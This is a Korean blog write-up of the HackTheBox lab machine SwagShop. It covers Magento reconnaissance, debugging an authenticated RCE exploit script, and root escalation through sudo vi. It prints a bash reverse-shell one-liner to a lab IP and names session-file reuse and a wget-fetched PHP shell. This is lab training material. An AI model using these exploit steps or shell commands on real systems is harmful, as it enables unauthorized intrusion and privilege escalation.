OSCP/HackTheBox

[Linux] SwagShop

우와해커 2020. 9. 18. 15:44

SwagShop


- 가혹하지만 꼭 풀어보아야하는 문제.

- sudo에 대해 잘 이해하고 있는가?

- Exploit 디버깅해서 스크립트 수정할 수 있는가?

- 스크립트 파일에 대한 설명, 주석에 대해 이해하였는가?

- Exploit-DB에 등록된 스크립트는 완벽하지 않다.

오래전에 올라온 스크립트라 라이브러리의 EOL같은 문제로 실행이 안될 수 도 있고...

실행중인 서비스가 제작자에 의해 커스터마이징되어 특히 경로 부분이 수정될 수 있다.

따라서, 이런 부분을 수정해줘야 한다. 디버깅하는 훈련이 필요하다.



WriteUp

https://initinfosec.com/writeups/htb/2020/02/01/swagshop-htb-writeup/




이니셜 쉘


nmap 결과 80포트가 오픈 됨

magento 프레임워크를 사용하고 있었다.


nikto와 gobuster로 퍼징 결과 유의미한 디렉토리 발견 및 디렉토리 리스팅이 발견되었다.

searchsploit으로 RCE를 발견했다.

하지만 정확한 버전을 몰라서 웹을 더 탐색함.


관리자 페이지는 구글링을 통해 찾을 수 있었다.

디폴트 값으로 /admin이 붙어야한다. 그런데 이 머신의 경우 index.php 뒤에 admin을 붙여줘야했다.


다른 사람들의 경우 exploit 스크립트를 통해 새로운 계정을 생성했던데,

나같은 경우는 디렉토리 리스팅이 존재하여 nikto+gobuster에 의해 발견된 세션폴더를 발견하였고 파기되지 않는 세션들이 존재하였다. 그래서 관리자 세션 파일을 다운받아서, 어드민 URL을 획득하고 세션을 통해 관리자페이지로 로그인하였다.


관리자 페이지로 로그인하니 하단에 정확한 버전 정보를 얻을 수 있었다. 1.9.0

이것으로 적용가능한 exploit을 선택할 수 있었다.



(authenticed)RCE Exploit을 실행해봤지만 계쏙 실패하여 WriteUp을 보게 되었다.

현재 서버는 호스트 주소 뒤에 /index.php/를 붙여줘야 해서 스크립트에도 수정이 필요했다.


* 이런거 감으로 체크할 수 없다면 와이어샤크로 패킷을 잡아서 디버그해야 될거 같다...

* Authenticed는 credential이 필요하다는 의미이다. 따라서 관리자페이지에서 새로 계정을 생성하여 스크립트에 넣어주었다.



스크립트 디버그


1차 오류: 찾을 수 없다?

mechanize._form_controls.ControlNotFoundError: no control matching name 'login[password]'


1. 우선 스크립트 파일에  host주소를 정확히 넘겼는지 체크했다. 

   IP주소 뒤에 index.php/admin/ 을 붙여야했다.


2. 주변 주석을 읽어보면 날짜 변수에 대한 수정이 필요했다.

install_date = 'Sat, 15 Nov 2014 20:27:57 +0000'  # This needs to be the exact date from /app/etc/local.xml



2차 오류: 한개 이상의 name 발견되었다?

mechanize._form_controls.AmbiguityError: more than one control matching name 'login[username]'


스크립트를 보면 두개의 username 폼이 존재한다. 위에 컨트롤을 주석처리했다.

#br.form.new_control('text', 'login[username]', {'value': username})  # Had to manually add username control.

br['login[username]'] = username



3차 오류: 받아온 값에 대해 group으로 파싱하는 부분이 있는데, 파싱할게 없다는 메세지가 발생함.

뭔가 데이터를 못받아 오는거 같아서 이부분에 대한 확인이 필요했다.

AttributeError: 'NoneType' object has no attribute 'group'


br.set_proxies 변수를 세팅하여 버프로 전송되는 URL 부분 패킷을 체크하였다.

request = br.open(url + 'block/tab_orders/period/7d/?isAjax=true', data='isAjax=false&form_key=' + key)


해당 URL을 열때 데이터를 받아오지 못했던 것이다.

7d부분은 날짜를 선택하는 기능인데 이것을 다른 걸로 2y로 대체했더니 데이터를 받아 올수 있었다.


스크립트 실행이 성공되었다.

# python authed_magento_rce.py http://10.10.10.140/index.php/admin/ "whoami"


나같은 경우는 wget으로 phpshell을 다운로드 받도록 하여 연결하였지만 아래와 같이 bash 원라인 스크립트도 실행이 된다고 한다.

# python authed_magento_rce.py http://10.10.10.140/index.php/admin/ "bash -c 'bash -i >& /dev/tcp/10.10.14.50/43110 0>&1'"


* 사실 롸잇업을 보면서 푼거라서 딱딱 아다리 맞춰서 풀린것 처럼 보이지만

  롸잇업이 없었으면 한참 시간이 걸렸을 문제다.



권한상승 


이니셜쉘 획득 후 sudo를 체크

User www-data may run the following commands on swagshop:

    (root) NOPASSWD: /usr/bin/vi /var/www/html/*


vi를 실행 후 :!/bin/sh로 root 쉘 권한상승을 시도했으나 계속 실패함..

괄호가 있는건 root로 실행되는건지 혼자 다른 부분 삽질하다가 원인을 몰라 롸잇업을 보게됨 ㅠ


저 명령의 뜻는 vi로 /var/www/html 하위의 파일들만 sudo로 실행할 수 있다는 얘기였음.


나쁜 예(이렇게 쓰면 비밀번호를 입력하라는 메세지가 발생함 )

>sudo /usr/bin/vi 


올바른 예

>sudo /usr/bin/vi /var/ww/html/존재하는 파일


하위 디렉토리의 파일을 vi로 실행 후 :!/bin/sh로 연결하여 root로 권한상승.

'OSCP > HackTheBox' 카테고리의 다른 글

[Windows] Chatterbox  (0) 2020.09.24
[Windows] Jerry  (0) 2020.09.24
[Linux] Irked  (0) 2020.09.16
[Linux] October  (0) 2020.09.16
[Linux] Nineveh  (0) 2020.09.14